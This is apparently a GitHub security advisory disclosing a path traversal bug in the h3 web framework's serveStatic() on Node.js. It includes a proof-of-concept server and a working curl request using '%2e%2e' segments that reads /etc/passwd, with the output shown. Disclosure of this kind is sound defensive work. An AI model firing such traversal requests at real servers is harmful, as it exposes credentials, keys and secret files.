GHSA-wr4h-v87w-p3r7

## Summary

`serveStatic()` in h3 is vulnerable to path traversal via percent-encoded dot segments (`%2e%2e`), allowing an unauthenticated attacker to read arbitrary files outside the intended static directory on Node.js deployments.

## Details

The vulnerability exists in `src/utils/static.ts` at [line 86](https://github.com/h3js/h3/blob/52c82e18bb643d124b8b9ec3b1f62b081f044611/src/utils/static.ts#L86):

```typescript const originalId = decodeURI(withLeadingSlash(withoutTrailingSlash(event.url.pathname))); ```

On Node.js, h3 uses srvx's `FastURL` class to parse request URLs. Unlike the standard WHATWG `URL` parser, `FastURL` extracts the pathname via raw string slicing for performance — it does **not** normalize dot segments (`.` / `..`) or resolve percent-encoded equivalents (`%2e`).

This means a request to `/%2e%2e/` will have `event.url.pathname` return `/%2e%2e/` verbatim, whereas the standard `URL` parser would normalize it to `/` (resolving `..` upward).

The `serveStatic()` function then calls `decodeURI()` on this raw pathname, which decodes `%2e` to `.`, producing `/../`. The resulting path containing `../` traversal sequences is passed directly to the user-provided `getMeta()` and `getContents()` callbacks with no sanitization or traversal validation.

When these callbacks perform filesystem operations (the intended and documented usage), the `../` sequences resolve against the filesystem, escaping the static root directory.

Before exploit:

<img width="761" height="97" alt="image" src="https://github.com/user-attachments/assets/798f9d3d-f76c-4c29-aca3-5a6ccd3b3627" />

### Vulnerability chain

``` 1. Attacker sends: GET /%2e%2e/%2e%2e/%2e%2e/etc/passwd 2. FastURL.pathname: /%2e%2e/%2e%2e/%2e%2e/etc/passwd (raw, no normalization) 3. decodeURI(): /../../../etc/passwd (%2e decoded to .) 4. getMeta(id): id = "/../../../etc/passwd" (no traversal check) 5. path.join(root,id): /etc/passwd (.. resolved by OS) 6. Response: contents of /etc/passwd ```

## PoC

### Vulnerable server (`server.ts`)

```typescript import { H3, serveStatic } from "h3"; import { serve } from "h3/node"; import { readFileSync, statSync } from "node:fs"; import { join, resolve } from "node:path";

const STATIC_ROOT = resolve("./public"); const app = new H3();

app.all("/**", (event) => serveStatic(event, { getMeta: (id) => { const filePath = join(STATIC_ROOT, id); try { const stat = statSync(filePath); return { size: stat.size, mtime: stat.mtime }; } catch { return undefined; } }, getContents: (id) => { const filePath = join(STATIC_ROOT, id); try { return readFileSync(filePath); } catch { return undefined; } }, }) );

serve({ fetch: app.fetch }); ```

### Exploit

```bash # Read /etc/passwd (adjust number of %2e%2e segments based on static root depth) curl -s --path-as-is "http://localhost:3000/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd" ```

### Result

``` root:x:0:0:root:/root:/usr/bin/zsh daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin ... ```

Proof:

<img width="940" height="703" alt="image" src="https://github.com/user-attachments/assets/f452e061-847a-424c-9dda-dfbf899687b1" />

Pwned by **0xkakashi**

<img width="942" height="74" alt="image" src="https://github.com/user-attachments/assets/db881519-1456-4e4c-a751-d8781b7abe95" />

## Impact

An unauthenticated remote attacker can read arbitrary files from the server's filesystem by sending a crafted HTTP request with `%2e%2e` (percent-encoded `..`) path segments to any endpoint served by `serveStatic()`.

This affects any h3 v2.x application using `serveStatic()` running on Node.js (where the `FastURL` fast path is used). Applications running on runtimes that provide a pre-parsed `URL` object (e.g., Cloudflare Workers, Deno) may not be affected, as `FastURL`'s raw string slicing is bypassed.

**Exploitable files include but are not limited to:** - `/etc/passwd`, `/etc/shadow` (if readable) - Application source code and configuration files - `.env` files containing secrets, API keys, database credentials - Private keys and certificates